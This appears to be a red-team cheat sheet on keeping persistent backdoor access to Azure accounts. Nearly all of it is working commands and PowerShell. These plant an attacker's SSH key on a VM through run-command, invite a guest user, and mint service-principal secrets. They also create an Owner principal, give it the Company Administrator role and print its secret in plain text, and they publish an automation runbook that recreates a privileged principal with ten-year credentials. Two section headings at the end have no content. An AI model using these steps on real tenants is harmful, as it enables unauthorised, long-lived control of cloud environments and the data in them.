Persistence

We can create a backdoor and maintain long term access in azure account.

Local System Based Backdoor

Operating System based backdooring technique (Linux & Windows)

- SSH Backdoor using vm-runcommand privileges

Generates a new SSH key pair:

ssh-keygen.exe

Displays the contents of the generated SSH key, which will be used to configure access on the remote VM:

cat az-vm-ssh-key

Adds the SSH key to the authorized_keys file on the remote VM, enabling persistent SSH access:

az vm run-command invoke --resource-group {Resource Group} -n {VM Name} --command-id RunShellScript --scripts "echo 'ssh-rsa SSHKey' >> /home/{username}/.ssh/authorized_keys"

Connects to the remote VM using the configured SSH key:

ssh -i {path_to_key} {username}@{VM_IP}

Cloud Service Based Backdoor

Creating user/guest user with high privileged aad role

To invite a Guest User to Tenant:

$Body="{'invitedUserEmailAddress':'Email Address to Invite', 'inviteRedirectUrl': 'https://portal.azure.com'}”

az rest --method POST --uri https://graph.microsoft.com/v1.0/invitations --headers "Content-Type=application/json" --body $Body

Creating service account and it's credentials

To generate a new password (credential) for an existing Azure AD application to maintain long-term access to the application:

New-AzureADApplication PasswordCredential-Objectld "{Application Object ID}"

Then, Authenticate to Azure AD with a service principal and secrets:

az login --service-principal -u {AppID} -p {App Secret} -t {TenantID}

Script to automate the creation of new Azure service principal as a backdoor:

# Create a new Azure AD service principal with the display name "WebService" and assign the Owner role
$spn = New-AzAdServicePrincipal -DisplayName "WebService" -Role Owner
$spn

# Convert the service principal's secure secret to a plain text string
$BSTR =[System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($spn.Secret)
$UnsecureSecret = [System.Runtime.InteropServices.Marshal]::PtrToStringAuto($BSTR)
$UnsecureSecret

# Retrieve the service principal by its AppPrincipalId
$sp = Get-MsolServicePrincipal -AppPrincipalId <AppID>

# Get the "Company Administrator" role
$role = Get-MsolRole -RoleName "Company Administrator"

# Assign the "Company Administrator" role to the service principal
Add-MsolRoleMember -RoleObjectId $role.ObjectId -RoleMemberType ServicePrincipal -RoleMemberObjectId $sp.ObjectId

# Prompt for credentials (enter the AppID as the username and the plain text secret as the password)
# and connect to the Azure account using these credentials
$cred = Get-Credential
Connect-AzAccount -Credential $cred -Tenant “tenant ID" -ServicePrincipal

Updating automation account runbook code

First, list Automation Accounts:

az automation account list --resource-group "{Resource Group Name}"

List Runbooks in an Automation Account:

az automation runbook list --automation-account-name "{Automation Account Name}" --resource-group "{Resource Group Name}"

Create a PowerShell Script for Persistent Access that will generate a new service principal and renew its credentials periodically:

try {
    Write-Output "Logging in to Azure..."
    Connect-AzAccount -Identity
} catch {
    Write-Error -Message $_.Exception
    throw $_.Exception
}

try {
    Write-Output "Creating a new service principal for persistent access..."
    $sp = New-AzADServicePrincipal -DisplayName "PersistentServicePrincipal" -Role Owner
    Write-Output "Service principal created. DisplayName: $($sp.DisplayName), AppId: $($sp.AppId)"
    
    Write-Output "Generating credentials for the service principal..."
    $spCred = New-AzADSpCredential -ObjectId $sp.Id -EndDate (Get-Date).AddYears(10) -Password (ConvertTo-SecureString "YourSecurePassword123!" -AsPlainText -Force)
    Write-Output "Service principal credentials generated. Secret: $($spCred.SecretText)"
    
    Write-Output "Storing the service principal credentials securely..."
    # Assuming there's a secure storage mechanism in place
    # Store-ServicePrincipalCredentials -AppId $sp.AppId -Secret $spCred.SecretText
} catch {
    Write-Error -Message $_.Exception
    throw $_.Exception
}

Create a New Runbook:

az automation runbook create --automation-account-name "{Automation Account Name}" --resource-group "{Resource Group Name}" --name "persistenceRunbook" --type "PowerShell" --location "East US"

Replace the Runbook Content with the Persistence Script:

az automation runbook replace-content --automation-account-name "{Automation Account Name}" --resource-group "{Resource Group Name}" --name "persistenceRunbook" --content @/home/devuser/persistence.ps1

Publish the Runbook to Ensure It Can Be Run:

az automation runbook publish --automation-account-name "{Automation Account Name}" --resource-group "{Resource Group Name}" --name "persistenceRunbook"

Display Details About the Runbook:

az automation runbook show --automation-account-name "{Automation Account Name}" --resource-group "{Resource Group Name}" --name "persistenceRunbook"

Invoke the Runbook and Execute the Code Inside It:

az automation runbook start --automation-account-name "{Automation Account Name}" --resource-group "{Resource Group Name}" --name "persistenceRunbook"

Manipulating container registry

Creating long term shared access signature (SAS) for storage account

Last updated